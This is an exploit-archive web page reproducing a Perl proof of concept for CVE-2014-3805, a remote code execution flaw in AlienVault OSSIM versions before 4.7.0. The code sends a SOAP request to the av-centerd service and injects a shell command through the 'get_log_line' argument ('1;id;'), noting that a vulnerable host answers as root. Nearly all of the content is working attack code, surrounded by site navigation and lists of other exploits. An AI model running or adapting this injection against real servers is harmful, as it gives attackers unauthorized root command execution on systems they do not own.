首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置：主页>安全文章>文章资料>Exploits>文章内容
AlienVault OSSIM < 4.7.0 - av-centerd 'get_log_line()' Remote Code Execution
来源：vfocus.net 作者：Ramirez 发布时间：2014-06-26  
# Exploit Title: AlienVault OSSIM < 4.7.0 av-centerd 'get_log_line()' Remote Code Execution
# Date: 06/17/2014
# Exploit Author: Alfredo Ramirez
# Vendor Homepage: http://www.alienvault.com/
# Software Link: http://www.alienvault.com/open-threat-exchange/projects
# Version: < 4.7.0
# Tested on: Debian/Virtual Appliance
# CVE : CVE-2014-3805
  
 #!perl -w
  
  use SOAP::Lite;
  
  # SSL is self-signed so we have to ignore verification.
  $ENV{PERL_LWP_SSL_VERIFY_HOSTNAME}=0;
  
  # We simply append the 'id' command to the number of log we want to
  # read.
  @soap_response = SOAP::Lite
    -> uri('AV/CC/Util')
    -> proxy('https://172.26.22.2:40007/av-centerd')
    -> get_log_line('All', '423d7bea-cfbc-f7ea-fe52-272ff7ede3d2' ,'172.26.22.1', 'test', '/var/log/auth.log', '1;id;')
    -> result;
  
  for (@{ $soap_response[0] }) {
   print "$_\n";
  }
  
  # If vulnerable output will be: uid=0(root) gid=0(root) groups=0(root)
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容：(不能超过250字，需审核后才会公布，请自觉遵守互联网相关政策法规。
 §最新评论：
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Cogent DataHub Command Injecti
·Internet Explorer 8, 9 & 10 -
·D-Link authentication.cgi Buff
·Python CGIHTTPServer File Disc
·D-Link hedwig.cgi Buffer Overf
·MS13-097 Registry Symlink IE S
·Supermicro IPMI/BMC Cleartext
·MS14-009 .NET Deployment Servi
·Lunar CMS 3.3 Unauthenticated
·HP AutoPass License Server Fil
·Linux Kernel <= 3.13 - Local P
·chkrootkit 0.49 - Local Root V
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved